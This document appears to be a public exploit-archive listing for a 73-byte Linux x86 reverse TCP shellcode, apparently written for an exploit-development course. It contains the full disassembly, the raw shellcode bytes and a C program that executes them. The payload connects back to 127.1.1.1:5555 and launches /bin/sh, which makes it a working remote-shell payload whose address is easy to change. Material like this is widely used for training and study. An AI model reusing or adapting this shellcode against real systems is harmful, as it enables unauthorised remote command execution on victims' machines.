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Linux x86 Reverse TCP 127.1.1.1:5555 Shellcode

Linux x86 Reverse TCP 127.1.1.1:5555 Shellcode
Posted Apr 20, 2018
Authored by Anurag Srivastava

73 bytes small Linux x86 reverse TCP shellcode that binds to 127.1.1.1:5555.

tags | x86, tcp, shellcode
systems | linux
MD5 | 9e96cce76f9491a2d09409a32e416c26

Linux x86 Reverse TCP 127.1.1.1:5555 Shellcode

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/**
# Linux x86 Reverse TCP shellcode
# 127.1.1.1/5555
# Shellcode Author: Anurag Srivastava
# Shellcode Length: 73
# Student-ID: SLAE-1219
# Note ~ http://www.theanuragsrivastava.in/2018/04/reverse-tcp-shellcode-x86-slae.html


reverse: file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
8048060: 6a 66 push 0x66
8048062: 58 pop eax
8048063: 31 db xor ebx,ebx
8048065: 53 push ebx
8048066: 43 inc ebx
8048067: 53 push ebx
8048068: 6a 02 push 0x2
804806a: 89 e1 mov ecx,esp
804806c: 99 cdq
804806d: cd 80 int 0x80
804806f: 93 xchg ebx,eax
8048070: 59 pop ecx

08048071 <loop>:
8048071: 6a 3f push 0x3f
8048073: 58 pop eax
8048074: cd 80 int 0x80
8048076: 49 dec ecx
8048077: 79 f8 jns 8048071 <loop>
8048079: 68 7f 01 01 01 push 0x101017f
804807e: 66 68 15 b3 pushw 0xb315
8048082: 66 6a 02 pushw 0x2
8048085: 89 e1 mov ecx,esp
8048087: 6a 10 push 0x10
8048089: 51 push ecx
804808a: 53 push ebx
804808b: 89 e1 mov ecx,esp
804808d: 6a 66 push 0x66
804808f: 58 pop eax
8048090: 6a 03 push 0x3
8048092: 5b pop ebx
8048093: cd 80 int 0x80
8048095: 31 c9 xor ecx,ecx
8048097: 51 push ecx
8048098: 6a 0b push 0xb
804809a: 58 pop eax
804809b: 68 2f 2f 73 68 push 0x68732f2f
80480a0: 68 2f 62 69 6e push 0x6e69622f
80480a5: 89 e3 mov ebx,esp
80480a7: cd 80 int 0x80

**/

#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x6a\x66\x58\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\x99\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x7f\x01\x01\x01\x66\x68\x15\xb3\x66\x6a\x02\x89\xe1\x6a\x10\x51\x53\x89\xe1\x6a\x66\x58\x6a\x03\x5b\xcd\x80\x31\xc9\x51\x6a\x0b\x58\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
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